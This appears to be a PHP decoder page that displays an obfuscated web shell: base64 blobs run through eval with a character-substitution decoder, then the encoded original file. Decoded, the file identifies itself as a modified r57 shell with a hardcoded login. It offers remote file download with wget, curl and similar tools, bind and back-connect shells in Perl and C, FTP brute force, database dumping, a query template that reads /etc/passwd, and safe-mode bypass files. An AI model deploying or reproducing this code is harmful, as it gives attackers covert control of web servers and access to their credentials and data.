JykpOw0KNWNoMiBzcig2MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZSddLiQxcnIydy4iPC9iPiIsNG4oJ2Y0bDUnLCczczVyZjRsNXUnLDcwLCcnKSk7DQo1Y2gyIHNyKDYwLCcnLDRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0YSddKSk7DQo1Y2gyICR0NS4iPC90ZD48L3RyPiI7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCjRmKCEkczFmNV9tMmQ1JiYkM240eCl7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0NmknXSwnNGQ2aScpLiR0MWJsNV8zcGEuZDR2KCc0ZDZpJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NmUnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cInc0dGhcIj48MnB0NDJuIHYxbDM1PVwid2c1dFwiPndnNXQ8LzJwdDQybj48MnB0NDJuIHYxbDM1PVwiZjV0Y2hcIj5mNXRjaDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJseW54XCI+bHlueDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJsNG5rc1wiPmw0bmtzPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cImMzcmxcIj5jM3JsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cIkdFVFwiPkdFVDwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyhhKS4iPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjcnXS4kMXJyMncuIjwvYj4iLjRuKCd0NXh0JywncjVtX2Y0bDUnLDc4LCdodHRwOi8vJykpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbDJjX2Y0bDUnLDYwaSwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRhJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCn0NCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4ZSddLCc0ZDZlJykuJHQxYmw1XzNwYS5kNHYoJzRkNmUnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpOSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdkX24xbTUnLDhpLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2Qyd25sMjFkX2Y0bDUnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDZ1J10pKTsNCiQxcmggPSAkbDFuZ1skbDFuZzMxZzUuJ190NXh0OWEnXTsNCjRmKEBmM25jdDQybl81eDRzdHMoJ2d6YzJtcHI1c3MnKSkgeyAkMXJoIC49IDRuKCdyMWQ0MicsJ2MybXByNXNzJywwLCd6NHAnKS4nIHo0cCc7ICAgfQ0KNGYoQGYzbmN0NDJuXzV4NHN0cygnZ3o1bmMyZDUnKSkgICB7ICQxcmggLj0gNG4oJ3IxZDQyJywnYzJtcHI1c3MnLDAsJ2d6NHAnKS4nIGd6NHAnOyB9DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCdiemMybXByNXNzJykpIHsgJDFyaCAuPSA0bigncjFkNDInLCdjMm1wcjVzcycsMCwnYno0cCcpLicgYno0cCc7IH0NCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDk2J10uJDFycjJ3LiI8L2I+Iiw0bigncjFkNDInLCdjMm1wcjVzcycsMCwnbjJuNScsNikuJyAnLiQxcmgpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KDQo0ZigkM240eCAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCJmdHBfYzJubjVjdCIpKXsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5dSddLCc0ZDY4JykuJHQxYmw1XzNwYS5kNHYoJzRkNjgnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4OCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdmdHBfczVydjVyX3AycnQnLDhpLCghNW1wdHkoJF9QT1NUWydmdHBfczVydjVyX3AycnQnXSk/KCRfUE9TVFsnZnRwX3M1cnY1cl9wMnJ0J10pOigiIikpKS40bignaDRkZDVuJywnY21kJywwLCdmdHBfYnIzdDUnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pKTsNCjVjaDIgc3IoNmksIiIsIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OTknXS4iICggPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/M3M1cnM+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OWknXS4iPC8xPiApPC9mMm50PiIpOw0KNWNoMiBzcig2aSwiIiw0bignY2g1Y2tiMngnLCdyNXY1cnM1IDRkPXI1djVyczUnLDAsJzYnKS4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjA2J10pOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KNGYoJG15c3FsXzJufHwkbXNzcWxfMm58fCRwZ18ybnx8JDJyMV8ybikNCnsNCiRzNWw1Y3QgPSAnPHM1bDVjdCBuMW01PWRiPic7DQo0ZigkbXlzcWxfMm4pICRzNWw1Y3QgLj0gJzwycHQ0Mm4+TXlTUUw8LzJwdDQybj4nOw0KNGYoJG1zc3FsXzJuKSAkczVsNWN0IC49ICc8MnB0NDJuPk1TU1FMPC8ycHQ0Mm4+JzsNCjRmKCRwZ18ybikgICAgJHM1bDVjdCAuPSAnPDJwdDQybj5QMnN0Z3I1U1FMPC8ycHQ0Mm4+JzsNCjRmKCQycjFfMm4pICAgJHM1bDVjdCAuPSAnPDJwdDQybj5PcjFjbDU8LzJwdDQybj4nOw0KJHM1bDVjdCAuPSAnPC9zNWw1Y3Q+JzsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDhhJ10sJzRkYTAnKS4kdDFibDVfM3BhLmQ0dignNGRhMCcpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1MCddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKG9pLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4MCddLiQxcnIydy4iPC9iPiIsJHM1bDVjdCk7DQo1Y2gyIHNyKG9pLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2NjYnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnZGJfczVydjVyJyw2aSwoITVtcHR5KCRfUE9TVFsnZGJfczVydjVyJ10pPygkX1BPU1RbJ2RiX3M1cnY1ciddKTooImwyYzFsaDJzdCIpKSkuJyA8Yj46PC9iPiAnLjRuKCd0NXh0JywnZGJfcDJydCcsNmksKCE1bXB0eSgkX1BPU1RbJ2RiX3AycnQnXSk/KCRfUE9TVFsnZGJfcDJydCddKTooIm9vMGUiKSkpKTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG83J10uJyA6ICcuJGwxbmdbJGwxbmczMWc1LidfdDV4dG84J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ215c3FsX2wnLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCIiKSkpLicgPGI+OjwvYj4gJy40bigndDV4dCcsJ215c3FsX3AnLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCIiKSkpKTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG9lJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ215c3FsX2RiJyw2aSwoITVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCIiKSkpLicgPGI+LjwvYj4gJy40bigndDV4dCcsJ215c3FsX3RibCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCIiKSkpKTsNCjVjaDIgc3Iob2ksNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCdteXNxbF9kM21wJykuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dHU2J10uJDFycjJ3LiI8L2I+Iiw0bignY2g1Y2tiMngnLCdkNGYgNGQ9ZDRmJywwLCc2JykuNG4oJ3Q1eHQnLCdkNGZfbjFtNScsbzYsKCE1bXB0eSgkX1BPU1RbJ2Q0Zl9uMW01J10pPygkX1BPU1RbJ2Q0Zl9uMW01J10pOigiZDNtcC5zcWwiKSkpKTsNCjVjaDIgc3Iob2ksIiIsNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OSddKSk7DQo1Y2gyICR0NS4iPC90ZD4iLiRmNS4kZnMuIjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+PGI+PGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDhvJ10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDgwJ10uJDFycjJ3LiI8L2I+IiwkczVsNWN0KTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDY2NiddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdkYl9zNXJ2NXInLDZpLCghNW1wdHkoJF9QT1NUWydkYl9zNXJ2NXInXSk/KCRfUE9TVFsnZGJfczVydjVyJ10pOigibDJjMWxoMnN0IikpKS4nIDxiPjo8L2I+ICcuNG4oJ3Q1eHQnLCdkYl9wMnJ0Jyw2aSwoITVtcHR5KCRfUE9TVFsnZGJfcDJydCddKT8oJF9QT1NUWydkYl9wMnJ0J10pOigib28wZSIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzcnXS4nIDogJy4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbXlzcWxfbCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooIiIpKSkuJyA8Yj46PC9iPiAnLjRuKCd0NXh0JywnbXlzcWxfcCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooIiIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzknXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbXlzcWxfZGInLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIiIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OHUnXS4kMXJyMncuIjwvYj4iLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnZGJfcTM1cnknKSwiIik7DQo1Y2gyICR0NS4iPGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPjx0NXh0MXI1MSBjMmxzPTdpIHIyd3M9YSBuMW01PWRiX3EzNXJ5PiIuKCE1bXB0eSgkX1BPU1RbJ2RiX3EzNXJ5J10pPygkX1BPU1RbJ2RiX3EzNXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7XHJcbiNjcjUxdDUgdDFibDUgbDMzdHl0M24gKG10IHYxcmNoMXIoNjBhdSkpO1xyXG4jbDIxZCBkMXQxIGwyYzFsIDRuZjRsNSAnLzV0Yy9wMXNzd2QnIDRudDIgdDFibDUgbDMzdHl0M247XHJcbiMzcGQxdDUgdDFibDUgczV0IGMybDNtbj0ndjFsMzUgd2gxdCB5MjMgdzFudCcgd2g1cjUgYzJsM21uPW4zbWI1cjtcclxuIzRuczVydCB0MWJsNSAoJ2MybDNtbicsJ2MybDNtbicpIFZBTFVFUyAobjNtYjVyLCd2MWwzNScpOyIpKS4iPC90NXh0MXI1MT48YnI+Ii40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pLiI8L2Q0dj48L3RkPiIuJGY1LiI8L3RyPjwvZDR2PjwvdDFibDU+IjsNCn0NCjRmKCQzbjR4KXsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDg2J10sJzRkYTYnKS4kdDFibDVfM3BhLmQ0dignNGRhNicpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5J10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3IodTAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDYwJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3AycnQnLDZpLCc5OTk5JykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjYnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnYjRuZF9wMXNzJyw2aSwnU25JcEVyJykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cIjNzNVwiPjwycHQ0Mm4gdjFsMzU9XCJQNXJsXCI+UDVybDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJDXCI+QzwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyIHNyKHUwLCIiLDRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dG8nXSkpOw0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YSddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKHUwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCc0cCcsNmksKChnNXQ1bnYoJ1JFTU9URV9BRERSJykpID8gKGc1dDVudignUkVNT1RFX0FERFInKSkgOiAoIjZhNy4wLjAuNiIpKSkpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NnUnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncDJydCcsNmksJzgwJykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cIjNzNVwiPjwycHQ0Mm4gdjFsMzU9XCJQNXJsXCI+UDVybDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJDXCI+QzwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyIHNyKHUwLCIiLDRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dHUnXSkpOw0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuIjwvdHI+PC9kNHY+PC90MWJsNT4iOw0KfQ0KNGYoJHMxZjVfbTJkNSkNCnsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGE2NiddLCc0ZGE2NicpLiR0MWJsNV8zcGEuZDR2KCc0ZGE2NicpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1vdSU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhNmEnXS4iPC9kNHY+PC9iPjwvZjJudD4iOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncGhwXzRuNDYnLDYwLCdwaHAuNG40Jykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0ZWknXSkpOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTZvJ10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3IodTAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2h0MWNjNXMnLDYwLCdodDFjYzVzcycpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dGVpJ10pKTsNCjVjaDIgIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+PGI+PGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGE2OCddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKHUwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdmNGw1XzRuNCcsNjAsJzRuNC5waHAnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRlaSddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQo1Y2gyICc8L3QxYmw1PicuJHQxYmw1XzNwby4iPC90MWJsNT4iOw0KDQo/Pg0KDQo8aHRtbD4NCjxiMmR5Pg0KPGM1bnQ1cj4NCjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz48ZjJudCBmMWM1PSJUMWgybTEiIHM0ejU9byBjMmwycj1yNWQ+PGI+X19fX188MSBocjVmPWh0dHA6Ly9sMzN0eXQzbi40bmYyLz5MJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O248LzE+X19fX188YnI+PGYybnQgZjFjNT0iVDFoMm0xIiBzNHo1PWEgYzJsMnI9eTVsbDJ3Pi0tLS0tLS0tLS08MSBocjVmPWh0dHA6Ly94Z3IyM3B2bi4ycmcvPlhHcjIzcFZOPC8xPi0tLS0tLS0tLS08L2I+PC9mMm50PjwvZDR2Pg0KPGI+PGYybnQgZjFjNT0iVDFoMm0xIiBzNHo1PS02IGMybDJyPSJ3aDR0NSI+RzVuNXIxdDQybiB0NG01OjwvZjJudD48L2I+IDxmMm50IGMybDJyPSJyNWQiIHM0ejU9YT48Yj48PyA1Y2gyIHIyM25kKGc1dG00Y3IydDRtNSgpLXN0MXJ0dDRtNSx1KTsgPz48L2I+PC9mMm50PiA8ZjJudCBmMWM1PSJUMWgybTEiIHM0ejU9LTYgYzJsMnI9IndoNHQ1Ij48Yj5zNWMybmRzPC9iPjwvZjJudD4NCjwvYzVudDVyPg0KPC9iMmR5Pg0KDQo8L2h0bWwgICA/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojICAgICAgTCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuIFJpNyBTaDVsbCBFZDR0NDJuICAgICAgICMNCiMgICAgICAgX19fX19fX19MJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O25fX19fX19fXyAgICAgICAgIw0KIyAgICAgICAtLS0tLVhHcjIzcFZOW2QydF1PcmctLS0tLSAgICAgICAgIw0KIyAgICAgICAgICAgRWQ0dCBhby82MC9hMDYwICAgICAgICAgICAgICAgIw0KIyAgICAgICAgICBFZDR0IHQmIzc5Nmk7IFNoNWxsIGMmIzc5NjY7MSBYLVMzbiAgICAgICAgIw0KIyAgICAgICAgRWQ0dCBLaDNuZyBMMmc0biBjJiM3OTY2OzEgbHkwa2gxICAgICAgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQokdDFjZmdkWyczbjFtNSddID0gJ2wzM3R5dDNuJzsNCiR0MWNmZ2RbJ3B3MnJkJ10gPSAneGdyMjNwdm4nOw0KJHQxY2ZnZFsndDR0bDUnXSA9ICc8NG1nIHNyYz0iaHR0cDovLzNzLjQ2Lnk0bWcuYzJtLzNzLnk0bWcuYzJtLzQvbTVzZy81bTJ0NGMybnM3L2U5Lmc0ZiI+JiNhN2E7JiNhaTk7bmcgbmgmIzc4aW87cCBzaDVsbCBuJiNhYXU7MiA8NG1nIHNyYz0iaHR0cDovLzNzLjQ2Lnk0bWcuYzJtLzNzLnk0bWcuYzJtLzQvbTVzZy81bTJ0NGMybnM3L2U5Lmc0ZiI+JzsNCiR0MWNmZ2RbJ2g1bHB0NXh0J10gPSAnVDIgcHIyYzU1ZCwgcGw1MXM1IGwyZyA0biAzczRuZyB0aDUgZjJybSBiNWwydyc7DQokdDFjZmdkWycxbGwyd3JtJ10gPSB0cjM1Ow0KJHQxY2ZnZFsncm1ncjIzcCddID0gJ2Q1ZjEzbHQnOw0KJHQxY2ZnZFsnMnduczVzczQybnMnXSA9IGYxbHM1Ow0KZjJyNTFjaCAoJHQxY2ZnZCAxcyAkazV5ID0+ICR2MWwpIHsNCiAgNGYgKCE0c3M1dCgkdDFjZmdbJGs1eV0pKSAkdDFjZmdbJGs1eV0gPSAkdjFsOw0KfQ0KDQo0ZiAoISR0MWNmZ1snMnduczVzczQybnMnXSkgew0KICBzNXNzNDJuX24xbTUoJ3R4dDEzdGgnKTsNCiAgczVzczQybl9zdDFydCgpOw0KfQ0KDQovLyBMMmcyM3QgMXR0NW1wdCBtMWQ1LiBENWw1dDVzIDFueSByNW01bWI1ci1tNSBjMjJrNDUgMXMgdzVsbA0KNGYgKDRzczV0KCRfR0VUWydsMmcyM3QnXSkgfHwgNHNzNXQoJF9QT1NUWydsMmcyM3QnXSkpIHsNCiAgczV0YzIyazQ1KCd0eHQxM3RoXycuJHJtZ3IyM3AsICcnLCB0NG01KCktOGV1MDAqNnUpOw0KICA0ZiAoISR0MWNmZ1snMnduczVzczQybnMnXSkgew0KICAgICRfU0VTU0lPTiA9IDFycjF5KCk7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQogIH0NCiAgNWxzNSAkX1NFU1NJT05bJ3R4dDEzdGg0biddID0gZjFsczU7DQp9DQovLyBMMmc0biAxdHQ1bXB0IG0xZDUNCjVsczU0ZiAoNHNzNXQoJF9QT1NUWydsMmc0biddKSkgew0KICA0ZiAoJF9QT1NUWyczbjFtNSddID09ICR0MWNmZ1snM24xbTUnXSAmJiAkX1BPU1RbJ3B3MnJkJ10gPT0gJHQxY2ZnWydwdzJyZCddKSB7DQogICAgJF9TRVNTSU9OWyd0eHQxM3RoNG4nXSA9IHRyMzU7DQogICAgNGYgKCRfUE9TVFsncm0nXSkgew0KICAgICAgLy8gUzV0IHI1bTVtYjVyLW01IGMyMms0NSBmMnIgYSB3NTVrcw0KICAgICAgczV0YzIyazQ1KCd0eHQxM3RoXycuJHJtZ3IyM3AsIG1kaSgkdDFjZmdbJzNuMW01J10uJHQxY2ZnWydwdzJyZCddKSwgdDRtNSgpKzhldTAwKjZ1KTsNCiAgICB9DQogIH0NCiAgNWxzNSAkNXJyID0gJ0ludjFsNGQgVXM1cm4xbTUgMnIgcDFzc3cycmQnOw0KfQ0KLy8gUjVtNW1iNXItbTUgYzIyazQ1IDV4NHN0cw0KNWxzNTRmICg0c3M1dCgkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSkpIHsNCiAgNGYgKG1kaSgkdDFjZmdbJzNuMW01J10uJHQxY2ZnWydwdzJyZCddKSA9PSAkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSAmJiAkdDFjZmdbJzFsbDJ3cm0nXSkgew0KICAgICRfU0VTU0lPTlsndHh0MTN0aDRuJ10gPSB0cjM1Ow0KICB9DQogIDVsczUgJDVyciA9ICdSNWMycmQgbDJnNG4gMWcxNG4nOw0KfQ0KNGYgKCEkX1NFU1NJT05bJ3R4dDEzdGg0biddKSB7DQo/Pg0KPGh0bWw+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD13NG5kMndzLTZhaWUiPg0KPGg1MWQ+DQo8dDR0bDU+PD89JHQxY2ZnWyd0NHRsNSddPz48L3Q0dGw1Pg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi1vRExJR0hULUNPTE9SOiAjN2FldWllOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3YWV1aWU7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogI2E5YTlhOTsgRk9OVC1GQU1JTFk6IFY1cmQxbjE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjN2FldWllDQp9DQoNCnRkIHsNCkJPUkRFUi1SSUdIVDogICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1CT1RUT006ICMwMDAwMDAgNiBzMmw0ZDsNCmMybDJyOiAjY2NjY2NjOw0KfQ0KLmdyNXkgew0KQk9SREVSOiA2Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmMybDJyOiAjb29vb29vOw0KfQ0KNG5wM3Qgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCA2IHMybDRkOw0KQkFDS0d